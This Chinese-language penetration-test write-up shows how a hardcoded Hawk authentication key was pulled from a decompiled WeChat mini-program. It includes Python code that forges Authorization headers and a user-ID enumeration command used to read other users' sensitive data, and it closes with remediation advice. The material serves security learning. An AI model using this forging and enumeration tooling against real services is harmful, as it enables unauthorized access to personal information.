声明
本文章所分享内容仅用于网络安全相关的技术讨论和学习,注意,切勿用于违法途径,所有渗透测试都需要获取授权,违者后果自行承担,与本文章及作者无关,请谨记守法。
概述
在一次针对微信小程序的渗透测试中,我发现了一个有趣的认证漏洞:通过分析小程序源码,成功提取了 Hawk 认证的密钥信息,实现了 Authorization 头的伪造,并利用此漏洞对用户 ID 进行枚举越权测试,最终获取到了敏感的用户信息。
正文
一、问题发现与初步分析
1. 数据包捕获与分析
在使用抓包工具分析微信小程序网络请求时,我注意到所有 API 请求都携带了一个特殊的 Authorization头:

Authorization: Hawk id="wasx",ts="1772093367",nonce="6b206fc1c135256cf58e428e117e568c",mac="WOqrK7hg+iEx3E5qfZVMIlVwr3e+DZZW36KK8L33Gtw="
这个头包含了几个关键参数:
id: 固定为 “wasx”ts: 时间戳nonce: 随机字符串mac: 基于以上参数计算的消息认证码
2. 小程序源码分析
通过反编译小程序代码,我在 app-service.js 文件中找到了 Hawk 认证的核心实现:

// Hawk头构造
header: function(r, n, i) {
var a = i.timestamp || e.utils.nowSec(i.localtimeOffsetMsec),
s = i.credentials;
if (!(s && s.id && s.key && s.algorithm)) throw new Error("Invalid credentials");
var o = {
ts: a,
nonce: i.nonce || e.utils.randomString(6),
method: n,
resource: r.resource,
host: r.host,
port: r.port
},
c = e.crypto.calculateMac("header", s, o),
h = 'Hawk id="' + s.id + '",ts="' + o.ts + '",nonce="' + o.nonce + '",mac="' + c + '"';
return { artifacts: o, header: h }
}
更重要的是,我发现了硬编码的密钥信息:

exports.config = {
xxxApiUserName: "wasx",
xxxApiPassword: "xxxx",
xxxApiKey: "xxxxx"
}
关键发现:Hawk 认证的密钥是由 xxxxApiKey 和 xxxxApiPassword 拼接而成的!
二、Hawk 认证机制分析
1. Hawk 认证原理
Hawk 是一种基于 HMAC 的 HTTP 认证机制,其核心原理是:
- 客户端使用密钥对请求参数进行哈希计算,生成 MAC
- 服务器使用相同的密钥和参数重新计算 MAC
- 比较 MAC 是否一致,以验证请求的合法性
2. 认证参数计算
通过分析源码,我确定了 MAC 计算的关键步骤:
- 时间戳(ts):当前 Unix 时间戳
- 随机字符串(nonce):32 位十六进制字符串
- 规范化字符串:包含请求方法、URL、主机等信息
- HMAC-SHA256:使用拼接后的密钥对规范化字符串进行哈希
三、编写脚本实现
1. 核心类设计
我创建了 HawkAuth 类来实现 Hawk 认证头的生成:
class HawkAuth:
def __init__(self, id, key, algorithm="sha256"):
self.id = id
self.key = key
self.algorithm = algorithm
def generate_nonce(self):
"""生成 32 位十六进制的 nonce,与原始 newGUID() 函数一致"""
characters = string.hexdigits.lower()
return ''.join(random.choice(characters) for _ in range(32))
def generate_normalized_string(self, timestamp, nonce, method, resource, host, port):
parts = [
f"hawk.1.header",
str(timestamp),
nonce,
method.upper(),
resource,
host.lower(),
str(port),
"",
""
]
return "\n".join(parts) + "\n"
def calculate_mac(self, normalized_string):
if self.algorithm == "sha256":
h = hmac.new(self.key.encode('utf-8'), normalized_string.encode('utf-8'), hashlib.sha256)
else:
h = hmac.new(self.key.encode('utf-8'), normalized_string.encode('utf-8'), hashlib.sha1)
return base64.b64encode(h.digest()).decode('utf-8')
2. 认证头生成
def generate_header(self, url, method):
parsed_url = urlparse(url)
host = parsed_url.netloc.split(':')[0]
port = parsed_url.port or (443 if parsed_url.scheme == 'https' else 80)
path = parsed_url.path
query = parsed_url.query
timestamp = int(time.time())
nonce = self.generate_nonce()
resource = path + ('?' + query if query else '')
normalized_string = self.generate_normalized_string(timestamp, nonce, method, resource, host, port)
mac = self.calculate_mac(normalized_string)
header = f'Hawk id="{self.id}",ts="{timestamp}",nonce="{nonce}",mac="{mac}"'
return header, timestamp, nonce
四、功能扩展与业务越权测试
1. 用户 ID 枚举功能
为了测试认证漏洞的影响范围,我实现了用户 ID 枚举功能,支持:
- 前 3 位完整枚举(000-999)
- 后 3 位完整枚举(000-999)
- 范围枚举(±N)
def enumerate_personalid(base_url, method, hawk_auth, base_personalid, direction, range_val, cookie=None, full_range=False):
# 生成待测试的 ID 列表
# 发送请求并记录结果
# 写入日志文件
2. 用户 ID 枚举测试
使用 hawk_forge.py 进行 ID 枚举:
python hawk_forge.py -p 147248 -d back -r 3
测试结果显示所有请求都成功响应,证明认证头伪造成功。
日志记录
为了方便分析结果,我实现了日志记录功能,将成功的响应保存到 ru.log 文件:
def write_to_log(data):
"""将成功结果写入ru.log文件"""
try:
with open('ru.log', 'a', encoding='utf-8') as f:
timestamp = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())
log_entry = {
'timestamp': timestamp,
'data': data
}
f.write(json.dumps(log_entry, ensure_ascii=False) + '\n')
except Exception as e:
print(f" 写入日志失败: {str(e)}")

五、遇到的问题与解决方案
1. Nonce 格式问题
问题:生成的 nonce 与原始数据包格式不一致
解决方案:分析js文件中 newGUID() 函数,实现 32 位十六进制 nonce 生成
2. MAC 计算错误
问题:生成的 MAC 与服务器计算的不一致,导致 “MAC illegal” 错误
解决方案:确保使用与实际请求一致的 URL 生成认证头
六、实验验证
1. 认证头生成测试
使用 hawk_header_generator.py 生成认证头:
python hawk_header_generator.py -u "https://api.xxxxx.com/api/xxxxx/InfoByid?memberid=147248"
生成结果:

Authorization: Hawk id="wasx",ts="1772097991",nonce="bfdba17af30dda3abcbd6f3a2fe848c3",mac="XIKYWrQ+lwREBQKyjmeNzxUP67xq04tkms/tEX0Yjb8="
总结
关键发现
- 密钥泄露:小程序代码中硬编码了 Hawk 认证的密钥信息
- 认证头伪造:利用提取的密钥,成功实现了 Authorization 头的伪造
- 用户 ID 枚举:通过伪造的认证头,实现了对用户 ID 的枚举测试查看任意用户信息
- 信息泄露:枚举测试过程中获取到了用户的敏感信息
安全建议
- 密钥管理:避免在客户端代码中硬编码密钥信息,应使用服务端动态生成
- 认证机制:考虑使用更安全的认证机制,如 JWT 或 OAuth
- 访问控制:加强 API 的访问控制,限制对敏感信息的访问
- 输入验证:对用户输入进行严格验证,防止枚举攻击









请登录后查看回复内容